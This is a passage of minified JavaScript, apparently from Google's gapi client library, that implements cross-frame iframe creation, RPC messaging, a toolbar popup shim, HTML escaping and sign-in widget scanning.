0;if(1===f||4===f)break a;hp(k)}}(f=e.nextSibling)&&f.getAttribute&&f.getAttribute("data-gapistub")&&(e.parentNode.removeChild(f),e.style.cssText="");f=c.width;h=c.height;var l=e.style;l.textIndent="0";l.margin= "0";l.padding="0";l.background="transparent";l.borderStyle="none";l.cssFloat="none";l.styleFloat="none";l.lineHeight="normal";l.fontSize="1px";l.verticalAlign="baseline";e=e.style;e.display="inline-block";d=d.style;d.position="static";d.left="0";d.top="0";d.visibility="visible";f&&(e.width=d.width=f+"px");h&&(e.height=d.height=h+"px");c.verticalAlign&&(e.verticalAlign=c.verticalAlign);k&&gp(k,3)}(k=b?b.title:null)&&a.Ha().setAttribute("title",k);(b=b?b.ariaLabel:null)&&a.Ha().setAttribute("aria-label", b)};_.lp=function(a){var b=a.$a();b&&b.removeChild(a.Ha())};_.mp=function(a){a.where=_.ip(a);var b=a.messageHandlers=a.messageHandlers||{},c=function(a){_.kp(this,a)};b._ready=c;b._renderstart=c;var d=a.onClose;a.onClose=function(a){d&&d.call(this,a);_.lp(this)};a.onCreate=function(a){a=a.Ha();a.style.cssText=_.jp(a)}}; var Yj=_.Xj=_.Xj||{};window.___jsl=window.___jsl||{};Yj.Mx={E8:function(){return window.___jsl.bsh},iH:function(){return window.___jsl.h},KC:function(a){window.___jsl.bsh=a},qZ:function(a){window.___jsl.h=a}}; _.I=_.I||{};_.I.Yu=function(a,b,c){for(var d=[],e=2,f=arguments.length;e<f;++e)d.push(arguments[e]);return function(){for(var c=d.slice(),e=0,f=arguments.length;e<f;++e)c.push(arguments[e]);return b.apply(a,c)}};_.I.Rq=function(a){var b,c,d={};for(b=0;c=a[b];++b)d[c]=c;return d}; _.I=_.I||{}; (function(){function a(a,b){return String.fromCharCode(b)}var b={0:!1,10:!0,13:!0,34:!0,39:!0,60:!0,62:!0,92:!0,8232:!0,8233:!0,65282:!0,65287:!0,65308:!0,65310:!0,65340:!0};_.I.escape=function(a,b){if(a){if("string"===typeof a)return _.I.Ft(a);if("Array"===typeof a){var c=0;for(b=a.length;c<b;++c)a[c]=_.I.escape(a[c])}else if("object"===typeof a&&b){b={};for(c in a)a.hasOwnProperty(c)&&(b[_.I.Ft(c)]=_.I.escape(a[c],!0));return b}}return a};_.I.Ft=function(a){if(!a)return a;for(var c=[],e,f,h=0,k= a.length;h<k;++h)e=a.charCodeAt(h),f=b[e],!0===f?c.push("&#",e,";"):!1!==f&&c.push(a.charAt(h));return c.join("")};_.I.x$=function(b){return b?b.replace(/&#([0-9]+);/g,a):b}})(); _.O={};_.op={};window.iframer=_.op; _.O.Ia=_.O.Ia||{};_.O.Ia.fQ=function(a){try{return!!a.document}catch(b){}return!1};_.O.Ia.DH=function(a){var b=a.parent;return a!=b&&_.O.Ia.fQ(b)?_.O.Ia.DH(b):a};_.O.Ia.Z8=function(a){var b=a.userAgent||"";a=a.product||"";return 0!=b.indexOf("Opera")&&-1==b.indexOf("WebKit")&&"Gecko"==a&&0<b.indexOf("rv:1.")}; var Mr,Nr,Or,Qr,Rr,Sr,Xr,Yr,Zr,$r,bs,cs,ds,fs,gs,is;Mr=function(){_.O.tI++;return["I",_.O.tI,"_",(new Date).getTime()].join("")};Nr=function(a){return a instanceof Array?a.join(","):a instanceof Object?_.df(a):a};Or=function(){};Qr=function(a){a&&a.match(Pr)&&_.le("googleapis.config/gcv",a)};Rr=function(a){_.Xj.Mx.qZ(a)};Sr=function(a){_.Xj.Mx.KC(a)};_.Tr=function(a,b){b=b||{};for(var c in a)a.hasOwnProperty(c)&&(b[c]=a[c]);return b}; _.Vr=function(a,b,c,d,e){var f=[],h;for(h in a)if(a.hasOwnProperty(h)){var k=b,l=c,n=a[h],p=d,q=Ur(h);q[k]=q[k]||{};p=_.I.Yu(p,n);n._iframe_wrapped_rpc_&&(p._iframe_wrapped_rpc_=!0);q[k][l]=p;f.push(h)}if(e)for(h in _.O.tn)_.O.tn.hasOwnProperty(h)&&f.push(h);return f.join(",")};Xr=function(a,b,c){var d={};if(a&&a._methods){a=a._methods.split(",");for(var e=0;e<a.length;e++){var f=a[e];d[f]=Wr(f,b,c)}}return d}; Yr=function(a){if(a&&a.disableMultiLevelParentRelay)a=!1;else{var b;if(b=_.op&&_.op._open&&"inline"!=a.style&&!0!==a.inline)a=a.container,b=!(a&&("string"==typeof a&&window.document.getElementById(a)||window.document==(a.ownerDocument||a.document)));a=b}return a};Zr=function(a,b){var c={};b=b.params||{};for(var d in a)"#"==d.charAt(0)&&(c[d.substring(1)]=a[d]),0==d.indexOf("fr-")&&(c[d.substring(3)]=a[d]),"#"==b[d]&&(c[d]=a[d]);for(var e in c)delete a["fr-"+e],delete a["#"+e],delete a[e];return c}; $r=function(a){if(":"==a.charAt(0)){var b=_.H("iframes/"+a.substring(1));a={};_.Vd(b,a);(b=a.url)&&(a.url=_.In(b));a.params||(a.params={});return a}return{url:_.In(a)}};bs=function(a){function b(){}b.prototype=as.prototype;a.prototype=new b};cs=function(a){return _.O.Rr[a]};ds=function(a,b){_.O.Rr[a]=b};fs=function(a){a=a||{};"auto"===a.height&&(a.height=_.Jm.Xc());var b=window&&es&&es.Na();b?b.DK(a.width||0,a.height||0):_.op&&_.op._resizeMe&&_.op._resizeMe(a)};gs=function(a){Qr(a)}; _.hs=function(){return _.Nd.location.origin||_.Nd.location.protocol+"//"+_.Nd.location.host};is=function(a){var b=_.Xd(a.location.href,"urlindex");if(b=_.Td(_.ce,"fUrl",[])[b]){var c=a.location.hash;b+=/#/.test(b)?c.replace(/^#/,"&"):c;a.location.replace(b)}}; if(window.ToolbarApi)es=window.ToolbarApi,es.Na=window.ToolbarApi.getInstance,es.prototype=window.ToolbarApi.prototype,_.g=es.prototype,_.g.openWindow=es.prototype.openWindow,_.g.XF=es.prototype.closeWindow,_.g.nL=es.prototype.setOnCloseHandler,_.g.KF=es.prototype.canClosePopup,_.g.DK=es.prototype.resizeWindow;else{var es=function(){},js=null;es.Na=function(){!js&&window.external&&window.external.GTB_IsToolbar&&(js=new es);return js};_.g=es.prototype;_.g.openWindow=function(a){return window.external.GTB_OpenPopup&& window.external.GTB_OpenPopup(a)};_.g.XF=function(a){window.external.GTB_ClosePopupWindow&&window.external.GTB_ClosePopupWindow(a)};_.g.nL=function(a,b){window.external.GTB_SetOnCloseHandler&&window.external.GTB_SetOnCloseHandler(a,b)};_.g.KF=function(a){return window.external.GTB_CanClosePopup&&window.external.GTB_CanClosePopup(a)};_.g.DK=function(a,b){return window.external.GTB_ResizeWindow&&window.external.GTB_ResizeWindow(a,b)};window.ToolbarApi=es;window.ToolbarApi.getInstance=es.Na}; var ks=function(){_.K.register("_noop_echo",function(){this.callback(_.O.RS(_.O.Tj[this.f]))})},ls=function(){window.setTimeout(function(){_.K.call("..","_noop_echo",_.O.pX)},0)},Wr=function(a,b,c){var d=function(d){var e=Array.prototype.slice.call(arguments,0),h=e[e.length-1];if("function"===typeof h){var k=h;e.pop()}e.unshift(b,a,k,c);_.K.call.apply(_.K,e)};d._iframe_wrapped_rpc_=!0;return d},Ur=function(a){_.O.Lv[a]||(_.O.Lv[a]={},_.K.register(a,function(b,c){var d=this.f;if(!("string"!=typeof b|| b in{}||d in{})){var e=this.callback,f=_.O.Lv[a][d],h;f&&Object.hasOwnProperty.call(f,b)?h=f[b]:Object.hasOwnProperty.call(_.O.tn,a)&&(h=_.O.tn[a]);if(h)return d=Array.prototype.slice.call(arguments,1),h._iframe_wrapped_rpc_&&e&&d.push(e),h.apply({},d)}_.Sa(['Unregistered call in window "',window.name,'" for method "',a,'", via proxyId "',b,'" from frame "',d,'".'].join(""));return null}));return _.O.Lv[a]}; _.O.cQ=function(a,b,c){var d=Array.prototype.slice.call(arguments);_.O.qH(function(a){a.sameOrigin&&(d.unshift("/"+a.claimedOpenerId+"|"+window.location.protocol+"//"+window.location.host),_.K.call.apply(_.K,d))})};_.O.RX=function(a,b){_.K.register(a,b)}; var Pr=/^[-_.0-9A-Za-z]+$/,ms={open:"open",onready:"ready",close:"close",onresize:"resize",onOpen:"open",onReady:"ready",onClose:"close",onResize:"resize",onRenderStart:"renderstart"},ns={onBeforeParentOpen:"beforeparentopen"},os={onOpen:function(a){var b=a.Ob();a.Bf(b.container||b.element);return a},onClose:function(a){a.remove()}};_.O.hn=function(a){var b=_.D();_.Vd(_.wn,b);_.Vd(a,b);return b}; var as=function(a,b,c,d,e,f,h,k){this.config=$r(a);this.openParams=this.fr=b||{};this.params=c||{};this.methods=d;this.ww=!1;ps(this,b.style);this.jp={};qs(this,function(){var a;(a=this.fr.style)&&_.O.Rr[a]?a=_.O.Rr[a]:a?(_.Ra(['Missing handler for style "',a,'". Continuing with default handler.'].join("")),a=null):a=os;if(a){if("function"===typeof a)var b=a(this);else{var c={};for(b in a){var d=a[b];c[b]="function"===typeof d?_.I.Yu(a,d,this):d}b=c}for(var h in e)a=b[h],"function"===typeof a&&rs(this, e[h],_.I.Yu(b,a))}f&&rs(this,"close",f)});this.Ki=this.ac=h;this.HB=(k||[]).slice();h&&this.HB.unshift(h.ka())};as.prototype.Ob=function(){return this.fr};as.prototype.Nj=function(){return this.params};as.prototype.Xt=function(){return this.methods};as.prototype.Qc=function(){return this.Ki};var ps=function(a,b){a.ww||((b=b&&!_.O.Rr[b]&&_.O.wy[b])?(a.vy=[],b(function(){a.ww=!0;for(var b=0,d=a.vy.length;b<d;++b)a.vy[b].call(a)})):a.ww=!0)},qs=function(a,b){a.ww?b.call(a):a.vy.push(b)}; as.prototype.Uc=function(a,b){qs(this,function(){rs(this,a,b)})};var rs=function(a,b,c){a.jp[b]=a.jp[b]||[];a.jp[b].push(c)};as.prototype.cm=function(a,b){qs(this,function(){var c=this.jp[a];if(c)for(var d=0,e=c.length;d<e;++d)if(c[d]===b){c.splice(d,1);break}})}; as.prototype.Og=function(a,b){var c=this.jp[a];if(c)for(var d=Array.prototype.slice.call(arguments,1),e=0,f=c.length;e<f;++e)try{var h=c[e].apply({},d)}catch(k){_.Sa(['Exception when calling callback "',a,'" with exception "',k.name,": ",k.message,'".'].join(""))}return h}; var ss=function(a){return"number"==typeof a?{value:a,oz:a+"px"}:"100%"==a?{value:100,oz:"100%",QI:!0}:null},ts=function(a,b,c,d,e,f,h){as.call(this,a,b,c,d,ms,e,f,h);this.id=b.id||Mr();this.wr=b.rpctoken&&String(b.rpctoken)||Math.round(1E9*(0,_.ck)());this.WU=Zr(this.params,this.config);this.ez={};qs(this,function(){this.Og("open");_.Tr(this.ez,this)})};bs(ts);_.g=ts.prototype; _.g.Bf=function(a,b){if(!this.config.url)return _.Sa("Cannot open iframe, empty URL."),this;var c=this.id;_.O.Tj[c]=this;var d=_.Tr(this.methods);d._ready=this.uv;d._close=this.close;d._open=this.vv;d._resizeMe=this.Yn;d._renderstart=this.PJ;var e=this.WU;this.wr&&(e.rpctoken=this.wr);e._methods=_.Vr(d,c,"",this,!0);this.el=a="string"===typeof a?window.document.getElementById(a):a;d={};d.id=c;if(b){d.attributes=b;var f=b.style;if("string"===typeof f){if(f){var h=[];f=f.split(";");for(var k=0,l=f.length;k< l;++k){var n=f[k];if(0!=n.length||k+1!=l)n=n.split(":"),2==n.length&&n[0].match(/^[ a-zA-Z_-]+$/)&&n[1].match(/^[ +.%0-9a-zA-Z_-]+$/)?h.push(n.join(":")):_.Sa(['Iframe style "',f[k],'" not allowed.'].join(""))}h=h.join(";")}else h="";b.style=h}}this.Ob().allowPost&&(d.allowPost=!0);this.Ob().forcePost&&(d.forcePost=!0);d.queryParams=this.params;d.fragmentParams=e;d.paramsSerializer=Nr;this.Qg=_.Kn(this.config.url,a,d);a=this.Qg.getAttribute("data-postorigin")||this.Qg.src;_.O.Tj[c]=this;_.K.ew(this.id, this.wr);_.K.Ph(this.id,a);return this};_.g.le=function(a,b){this.ez[a]=b};_.g.ka=function(){return this.id};_.g.Ha=function(){return this.Qg};_.g.$a=function(){return this.el};_.g.Ze=function(a){this.el=a};_.g.uv=function(a){var b=Xr(a,this.id,"");this.Ki&&"function"==typeof this.methods._ready&&(a._methods=_.Vr(b,this.Ki.ka(),this.id,this,!1),this.methods._ready(a));_.Tr(a,this);_.Tr(b,this);this.Og("ready",a)};_.g.PJ=function(a){this.Og("renderstart",a)}; _.g.close=function(a){a=this.Og("close",a);delete _.O.Tj[this.id];return a};_.g.remove=function(){var a=window.document.getElementById(this.id);a&&a.parentNode&&a.parentNode.removeChild(a)}; _.g.vv=function(a){var b=Xr(a.params,this.id,a.proxyId);delete a.params._methods;"_parent"==a.openParams.anchor&&(a.openParams.anchor=this.el);if(Yr(a.openParams))new us(a.url,a.openParams,a.params,b,b._onclose,this,a.openedByProxyChain);else{var c=new ts(a.url,a.openParams,a.params,b,b._onclose,this,a.openedByProxyChain),d=this;qs(c,function(){var a={childId:c.ka()},f=c.ez;f._toclose=c.close;a._methods=_.Vr(f,d.id,c.id,c,!1);b._onopen(a)})}}; _.g.Yn=function(a){if(void 0===this.Og("resize",a)&&this.Qg){var b=ss(a.width);null!=b&&(this.Qg.style.width=b.oz);a=ss(a.height);null!=a&&(this.Qg.style.height=a.oz);this.Qg.parentElement&&(null!=b&&b.QI||null!=a&&a.QI)&&(this.Qg.parentElement.style.display="block")}}; var us=function(a,b,c,d,e,f,h){as.call(this,a,b,c,d,ns,e,f,h);this.url=a;this.xm=null;this.cC=Mr();qs(this,function(){this.Og("beforeparentopen");var a=_.Tr(this.methods);a._onopen=this.fX;a._ready=this.uv;a._onclose=this.dX;this.params._methods=_.Vr(a,"..",this.cC,this,!0);a={};for(c in this.params)a[c]=Nr(this.params[c]);var b=this.config.url;if(this.fr.hideUrlFromParent){var c=window.name;var d=b;b=_.ln(this.config.url,this.params,{},Nr);var e=a;a={};a._methods=e._methods;a["#opener"]=e["#opener"]; a["#urlindex"]=e["#urlindex"];a["#opener"]&&void 0!=e["#urlindex"]?(a["#opener"]=c+","+a["#opener"],c=d):(d=_.Td(_.ce,"fUrl",[]),e=d.length,d[e]=b,_.ce.rUrl=is,a["#opener"]=c,a["#urlindex"]=e,c=_.Xj.Qa(_.Nd.location.href),b=_.H("iframes/relay_url_"+(0,window.encodeURIComponent)(c))||"/_/gapi/sibling/1/frame.html",c+=b);b=c}_.op._open({url:b,openParams:this.fr,params:a,proxyId:this.cC,openedByProxyChain:this.HB})})};bs(us);us.prototype.iT=function(){return this.xm}; us.prototype.fX=function(a){this.xm=a.childId;var b=Xr(a,"..",this.xm);_.Tr(b,this);this.close=b._toclose;_.O.Tj[this.xm]=this;this.Ki&&this.methods._onopen&&(a._methods=_.Vr(b,this.Ki.ka(),this.xm,this,!1),this.methods._onopen(a))};us.prototype.uv=function(a){var b=String(this.xm),c=Xr(a,"..",b);_.Tr(a,this);_.Tr(c,this);this.Og("ready",a);this.Ki&&this.methods._ready&&(a._methods=_.Vr(c,this.Ki.ka(),b,this,!1),this.methods._ready(a))}; us.prototype.dX=function(a){if(this.Ki&&this.methods._onclose)this.methods._onclose(a);else return a=this.Og("close",a),delete _.O.Tj[this.xm],a}; var vs=function(a,b,c,d,e,f,h){as.call(this,a,b,c,d,ns,f,h);this.id=b.id||Mr();this.v_=e;d._close=this.close;this.onClosed=this.JJ;this.HM=0;qs(this,function(){this.Og("beforeparentopen");var b=_.Tr(this.methods);this.params._methods=_.Vr(b,"..",this.cC,this,!0);b={};b.queryParams=this.params;a=_.Bn(_.Qd,this.config.url,this.id,b);var c=e.openWindow(a);this.canAutoClose=function(a){a(e.KF(c))};e.nL(c,this);this.HM=c})};bs(vs); vs.prototype.close=function(a){a=this.Og("close",a);this.v_.XF(this.HM);return a};vs.prototype.JJ=function(){this.Og("close")}; (function(){_.O.Tj={};_.O.Rr={};_.O.wy={};_.O.tI=0;_.O.Lv={};_.O.tn={};_.O.Bv=null;_.O.Av=[];_.O.pX=function(a){var b=!1;try{if(null!=a){var c=window.parent.frames[a.id];b=c.iframer.id==a.id&&c.iframes.openedId_(_.op.id)}}catch(f){}try{_.O.Bv={origin:this.origin,referer:this.referer,claimedOpenerId:a&&a.id,claimedOpenerProxyChain:a&&a.proxyChain||[],sameOrigin:b};for(a=0;a<_.O.Av.length;++a)_.O.Av[a](_.O.Bv);_.O.Av=[]}catch(f){}};_.O.RS=function(a){var b=a&&a.Ki,c=null;b&&(c={},c.id=b.ka(),c.proxyChain= a.HB);return c};ks();if(window.parent!=window){var a=_.I.xc();a.gcv&&Qr(a.gcv);var b=a.jsh;b&&Rr(b);_.Tr(Xr(a,"..",""),_.op);_.Tr(a,_.op);ls()}_.O.Bb=cs;_.O.Xb=ds;_.O.pZ=gs;_.O.resize=fs;_.O.ZR=function(a){return _.O.wy[a]};_.O.NC=function(a,b){_.O.wy[a]=b};_.O.CK=fs;_.O.PZ=gs;_.O.ou={};_.O.ou.get=cs;_.O.ou.set=ds;_.O.EP=function(a,b){Ur(a);_.O.tn[a]=b||window[a]};_.O.s8=function(a){delete _.O.tn[a]};_.O.open=function(a,b,e,f,h,k){3==arguments.length?f={}:4==arguments.length&&"function"===typeof f&& (h=f,f={});var c="bubble"===b.style&&es?es.Na():null;return c?new vs(a,b,e,f,c,h,k):Yr(b)?new us(a,b,e,f,h,k):new ts(a,b,e,f,h,k)};_.O.close=function(a,b){_.op&&_.op._close&&_.op._close(a,b)};_.O.ready=function(a,b,e){2==arguments.length&&"function"===typeof b&&(e=b,b={});var c=a||{};"height"in c||(c.height=_.Jm.Xc());c._methods=_.Vr(b||{},"..","",_.op,!0);_.op&&_.op._ready&&_.op._ready(c,e)};_.O.qH=function(a){_.O.Bv?a(_.O.Bv):_.O.Av.push(a)};_.O.jX=function(a){return!!_.O.Tj[a]};_.O.kS=function(){return["https://ssl.gstatic.com/gb/js/", _.H("googleapis.config/gcv")].join("")};_.O.jK=function(a){var b={mouseover:1,mouseout:1};if(_.op._event)for(var c=0;c<a.length;c++){var f=a[c];f in b&&_.I.Hs(window.document,f,function(a){_.op._event({event:a.type,timestamp:(new Date).getTime()})},!0)}};_.O.zZ=Rr;_.O.KC=Sr;_.O.gJ=Or;_.O.vI=_.op})(); _.w("iframes.allow",_.O.EP);_.w("iframes.callSiblingOpener",_.O.cQ);_.w("iframes.registerForOpenedSibling",_.O.RX);_.w("iframes.close",_.O.close);_.w("iframes.getGoogleConnectJsUri",_.O.kS);_.w("iframes.getHandler",_.O.Bb);_.w("iframes.getDeferredHandler",_.O.ZR);_.w("iframes.getParentInfo",_.O.qH);_.w("iframes.iframer",_.O.vI);_.w("iframes.open",_.O.open);_.w("iframes.openedId_",_.O.jX);_.w("iframes.propagate",_.O.jK);_.w("iframes.ready",_.O.ready);_.w("iframes.resize",_.O.resize); _.w("iframes.setGoogleConnectJsVersion",_.O.pZ);_.w("iframes.setBootstrapHint",_.O.KC);_.w("iframes.setJsHint",_.O.zZ);_.w("iframes.setHandler",_.O.Xb);_.w("iframes.setDeferredHandler",_.O.NC);_.w("IframeBase",as);_.w("IframeBase.prototype.addCallback",as.prototype.Uc);_.w("IframeBase.prototype.getMethods",as.prototype.Xt);_.w("IframeBase.prototype.getOpenerIframe",as.prototype.Qc);_.w("IframeBase.prototype.getOpenParams",as.prototype.Ob);_.w("IframeBase.prototype.getParams",as.prototype.Nj); _.w("IframeBase.prototype.removeCallback",as.prototype.cm);_.w("Iframe",ts);_.w("Iframe.prototype.close",ts.prototype.close);_.w("Iframe.prototype.exposeMethod",ts.prototype.le);_.w("Iframe.prototype.getId",ts.prototype.ka);_.w("Iframe.prototype.getIframeEl",ts.prototype.Ha);_.w("Iframe.prototype.getSiteEl",ts.prototype.$a);_.w("Iframe.prototype.openInto",ts.prototype.Bf);_.w("Iframe.prototype.remove",ts.prototype.remove);_.w("Iframe.prototype.setSiteEl",ts.prototype.Ze); _.w("Iframe.prototype.addCallback",ts.prototype.Uc);_.w("Iframe.prototype.getMethods",ts.prototype.Xt);_.w("Iframe.prototype.getOpenerIframe",ts.prototype.Qc);_.w("Iframe.prototype.getOpenParams",ts.prototype.Ob);_.w("Iframe.prototype.getParams",ts.prototype.Nj);_.w("Iframe.prototype.removeCallback",ts.prototype.cm);_.w("IframeProxy",us);_.w("IframeProxy.prototype.getTargetIframeId",us.prototype.iT);_.w("IframeProxy.prototype.addCallback",us.prototype.Uc);_.w("IframeProxy.prototype.getMethods",us.prototype.Xt); _.w("IframeProxy.prototype.getOpenerIframe",us.prototype.Qc);_.w("IframeProxy.prototype.getOpenParams",us.prototype.Ob);_.w("IframeProxy.prototype.getParams",us.prototype.Nj);_.w("IframeProxy.prototype.removeCallback",us.prototype.cm);_.w("IframeWindow",vs);_.w("IframeWindow.prototype.close",vs.prototype.close);_.w("IframeWindow.prototype.onClosed",vs.prototype.JJ);_.w("iframes.util.getTopMostAccessibleWindow",_.O.Ia.DH);_.w("iframes.handlers.get",_.O.ou.get);_.w("iframes.handlers.set",_.O.ou.set); _.w("iframes.resizeMe",_.O.CK);_.w("iframes.setVersionOverride",_.O.PZ); as.prototype.send=function(a,b,c){_.O.QK(this,a,b,c)};_.op.send=function(a,b,c){_.O.QK(_.op,a,b,c)};as.prototype.register=function(a,b){var c=this;c.Uc(a,function(a){b.call(c,a)})};_.O.QK=function(a,b,c,d){var e=[];void 0!==c&&e.push(c);d&&e.push(function(a){d.call(this,[a])});a[b]&&a[b].apply(a,e)};_.O.Ho=function(){return!0};_.w("iframes.CROSS_ORIGIN_IFRAMES_FILTER",_.O.Ho);_.w("IframeBase.prototype.send",as.prototype.send);_.w("IframeBase.prototype.register",as.prototype.register); _.w("Iframe.prototype.send",ts.prototype.send);_.w("Iframe.prototype.register",ts.prototype.register);_.w("IframeProxy.prototype.send",us.prototype.send);_.w("IframeProxy.prototype.register",us.prototype.register);_.w("IframeWindow.prototype.send",vs.prototype.send);_.w("IframeWindow.prototype.register",vs.prototype.register);_.w("iframes.iframer.send",_.O.vI.send); var Iu=_.O.Xb,Ju={open:function(a){var b=_.ip(a.Ob());return a.Bf(b,{style:_.jp(b)})},attach:function(a,b){var c=_.ip(a.Ob()),d=b.id,e=b.getAttribute("data-postorigin")||b.src,f=/#(?:.*&)?rpctoken=(\d+)/.exec(e);f=f&&f[1];a.id=d;a.wr=f;a.el=c;a.Qg=b;_.O.Tj[d]=a;b=_.Tr(a.methods);b._ready=a.uv;b._close=a.close;b._open=a.vv;b._resizeMe=a.Yn;b._renderstart=a.PJ;_.Vr(b,d,"",a,!0);_.K.ew(a.id,a.wr);_.K.Ph(a.id,e);c=_.O.hn({style:_.jp(c)});for(var h in c)Object.prototype.hasOwnProperty.call(c,h)&&("style"== h?a.Qg.style.cssText=c[h]:a.Qg.setAttribute(h,c[h]))}};Ju.onready=_.kp;Ju.onRenderStart=_.kp;Ju.close=_.lp;Iu("inline",Ju); _.Wj=(window.gapi||{}).load; _.np=_.D(); _.pp=function(a){var b=window;a=(a||b.location.href).match(/.*(\?|#|&)usegapi=([^&#]+)/)||[];return"1"===(0,window.decodeURIComponent)(a[a.length-1]||"")}; var qp,rp,sp,tp,up,vp,zp,Ap;qp=function(a){if(_.Sd.test(Object.keys))return Object.keys(a);var b=[],c;for(c in a)_.Ud(a,c)&&b.push(c);return b};rp=function(a,b){if(!_.gf())try{a()}catch(c){}_.hf(b)};sp={button:!0,div:!0,span:!0};tp=function(a){var b=_.Td(_.ce,"sws",[]);return 0<=_.Xm.call(b,a)};up=function(a){return _.Td(_.ce,"watt",_.D())[a]};vp=function(a){return function(b,c){return a?_.Gn()[c]||a[c]||"":_.Gn()[c]||""}}; _.wp={apppackagename:1,callback:1,clientid:1,cookiepolicy:1,openidrealm:-1,includegrantedscopes:-1,requestvisibleactions:1,scope:1};_.xp=!1; _.yp=function(){if(!_.xp){for(var a=window.document.getElementsByTagName("meta"),b=0;b<a.length;++b){var c=a[b].name.toLowerCase();if(_.vc(c,"google-signin-")){c=c.substring(14);var d=a[b].content;_.wp[c]&&d&&(_.np[c]=d)}}if(window.self!==window.top){a=window.document.location.toString();for(var e in _.wp)0<_.wp[e]&&(b=_.Xd(a,e,""))&&(_.np[e]=b)}_.xp=!0}e=_.D();_.Vd(_.np,e);return e}; zp=function(a){var b;a.match(/^https?%3A/i)&&(b=(0,window.decodeURIComponent)(a));return _.mn(window.document,b?b:a)};Ap=function(a){a=a||"canonical";for(var b=window.document.getElementsByTagName("link"),c=0,d=b.length;c<d;c++){var e=b[c],f=e.getAttribute("rel");if(f&&f.toLowerCase()==a&&(e=e.getAttribute("href"))&&(e=zp(e))&&null!=e.match(/^https?:\/\/[\w\-_\.]+/i))return e}return window.location.href};_.Bp=function(){return window.location.origin||window.location.protocol+"//"+window.location.host}; _.Cp=function(a,b,c,d){return(a="string"==typeof a?a:void 0)?zp(a):Ap(d)};_.Dp=function(a,b,c){null==a&&c&&(a=c.db,null==a&&(a=c.gwidget&&c.gwidget.db));return a||void 0};_.Ep=function(a,b,c){null==a&&c&&(a=c.ecp,null==a&&(a=c.gwidget&&c.gwidget.ecp));return a||void 0}; _.Fp=function(a,b,c){return _.Cp(a,b,c,b.action?void 0:"publisher")};var Gp,Hp,Ip,Jp,Kp,Lp,Np,Mp;Gp={se:"0"};Hp={post:!0};Ip={style:"position:absolute;top:-10000px;width:450px;margin:0px;border-style:none"};Jp="onPlusOne _ready _close _open _resizeMe _renderstart oncircled drefresh erefresh".split(" ");Kp=_.Td(_.ce,"WI",_.D());Lp=["style","data-gapiscan"]; Np=function(a){for(var b=_.D(),c=0!=a.nodeName.toLowerCase().indexOf("g:"),d=0,e=a.attributes.length;d<e;d++){var f=a.attributes[d],h=f.name,k=f.value;0<=_.Xm.call(Lp,h)||c&&0!=h.indexOf("data-")||"null"===k||"specified"in f&&!f.specified||(c&&(h=h.substr(5)),b[h.toLowerCase()]=k)}a=a.style;(c=Mp(a&&a.height))&&(b.height=String(c));(a=Mp(a&&a.width))&&(b.width=String(a));return b}; _.Pp=function(a,b,c,d,e,f){if(c.rd)var h=b;else h=window.document.createElement("div"),b.setAttribute("data-gapistub",!0),h.style.cssText="position:absolute;width:450px;left:-10000px;",b.parentNode.insertBefore(h,b);f.siteElement=h;h.id||(h.id=_.Op(a));b=_.D();b[">type"]=a;_.Vd(c,b);a=_.Kn(d,h,e);f.iframeNode=a;f.id=a.getAttribute("id")};_.Op=function(a){_.Td(Kp,a,0);return"___"+a+"_"+Kp[a]++};Mp=function(a){var b=void 0;"number"===typeof a?b=a:"string"===typeof a&&(b=(0,window.parseInt)(a,10));return b}; var Qp=function(){},Tp=function(a){var b=a.Wm,c=function(a){c.H.constructor.call(this,a);var b=this.mh.length;this.Hg=[];for(var d=0;d<b;++d)this.mh[d].p8||(this.Hg[d]=new this.mh[d](a))};_.z(c,b);for(var d=[];a;){if(b=a.Wm){b.mh&&_.pe(d,b.mh);var e=b.prototype,f;for(f in e)if(e.hasOwnProperty(f)&&_.Xa(e[f])&&e[f]!==b){var h=!!e[f].c8,k=Rp(f,e,d,h);(h=Sp(f,e,k,h))&&(c.prototype[f]=h)}}a=a.H&&a.H.constructor}c.prototype.mh=d;return c},Rp=function(a,b,c,d){for(var e=[],f=0;f<c.length&&(c[f].prototype[a]=== b[a]||(e.push(f),!d));++f);return e},Sp=function(a,b,c,d){return c.length?d?function(b){var d=this.Hg[c[0]];return d?d[a].apply(this.Hg[c[0]],arguments):this.mh[c[0]].prototype[a].apply(this,arguments)}:b[a].eQ?function(b){a:{var d=Array.prototype.slice.call(arguments,0);for(var e=0;e<c.length;++e){var k=this.Hg[c[e]];if(k=k?k[a].apply(k,d):this.mh[c[e]].prototype[a].apply(this,d)){d=k;break a}}d=!1}return d}:b[a].dQ?function(b){a:{var d=Array.prototype.slice.call(arguments,0);for(var e=0;e<c.length;++e){var k= this.Hg[c[e]];k=k?k[a].apply(k,d):this.mh[c[e]].prototype[a].apply(this,d);if(null!=k){d=k;break a}}d=void 0}return d}:b[a].AJ?function(b){for(var d=Array.prototype.slice.call(arguments,0),e=0;e<c.length;++e){var k=this.Hg[c[e]];k?k[a].apply(k,d):this.mh[c[e]].prototype[a].apply(this,d)}}:function(b){for(var d=Array.prototype.slice.call(arguments,0),e=[],k=0;k<c.length;++k){var l=this.Hg[c[k]];e.push(l?l[a].apply(l,d):this.mh[c[k]].prototype[a].apply(this,d))}return e}:d||b[a].eQ||b[a].dQ||b[a].AJ? null:Up},Up=function(){return[]};Qp.prototype.jz=function(a){if(this.Hg)for(var b=0;b<this.Hg.length;++b)if(this.Hg[b]instanceof a)return this.Hg[b];return null}; var Vp=function(a){return this.Ya.jz(a)};var Wp,Xp,Yp,Zp,$p=/(?:^|\s)g-((\S)*)(?:$|\s)/,aq={plusone:!0,autocomplete:!0,profile:!0,signin:!0,signin2:!0};Wp=_.Td(_.ce,"SW",_.D());Xp=_.Td(_.ce,"SA",_.D());Yp=_.Td(_.ce,"SM",_.D());Zp=_.Td(_.ce,"FW",[]); var eq=function(a,b){var c;bq.ps0=(new Date).getTime();cq("ps0");a=("string"===typeof a?window.document.getElementById(a):a)||_.Qd;var d=_.Qd.documentMode;if(a.querySelectorAll&&(!d||8<d)){d=b?[b]:qp(Wp).concat(qp(Xp)).concat(qp(Yp));for(var e=[],f=0;f<d.length;f++){var h=d[f];e.push(".g-"+h,"g\\:"+h)}d=a.querySelectorAll(e.join(","))}else d=a.getElementsByTagName("*");a=_.D();for(e=0;e<d.length;e++){f=d[e];var k=f;h=b;var l=k.nodeName.toLowerCase(),n=void 0;if(k.getAttribute("data-gapiscan"))h=null; else{var 